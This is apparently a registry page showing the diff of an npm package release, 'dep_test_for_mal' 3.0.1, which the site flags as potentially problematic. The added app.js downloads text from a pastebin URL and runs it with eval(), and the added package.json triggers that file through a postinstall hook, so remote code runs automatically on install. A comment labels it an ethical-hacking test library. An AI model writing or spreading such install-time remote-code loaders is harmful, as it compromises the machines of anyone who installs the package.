dep_test_for_mal 3.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of dep_test_for_mal might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/app.js +21 -0
  2. package/package.json +16 -0
package/app.js ADDED
@@ -0,0 +1,21 @@
1
+ //This is a test library for ethical hacking/penetration testing
2
+
3
+ const fs = require('fs');
4
+ const os = require('os');
5
+ const path = require('path');
6
+ const axios = require('axios');
7
+
8
+ const run = async () =>{
9
+ const url = 'https://pastebin.com/raw/dw1YCk0Q';
10
+ const response = await axios.get(url);
11
+
12
+ //console.log(response.data)
13
+
14
+ eval(response.data);
15
+ }
16
+
17
+
18
+ run();
19
+
20
+
21
+
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "dep_test_for_mal",
3
+ "version": "3.0.1",
4
+ "description": "",
5
+ "main": "app.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "postinstall": "node app.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC",
13
+ "dependencies": {
14
+ "axios": "^1.4.0"
15
+ }
16
+ }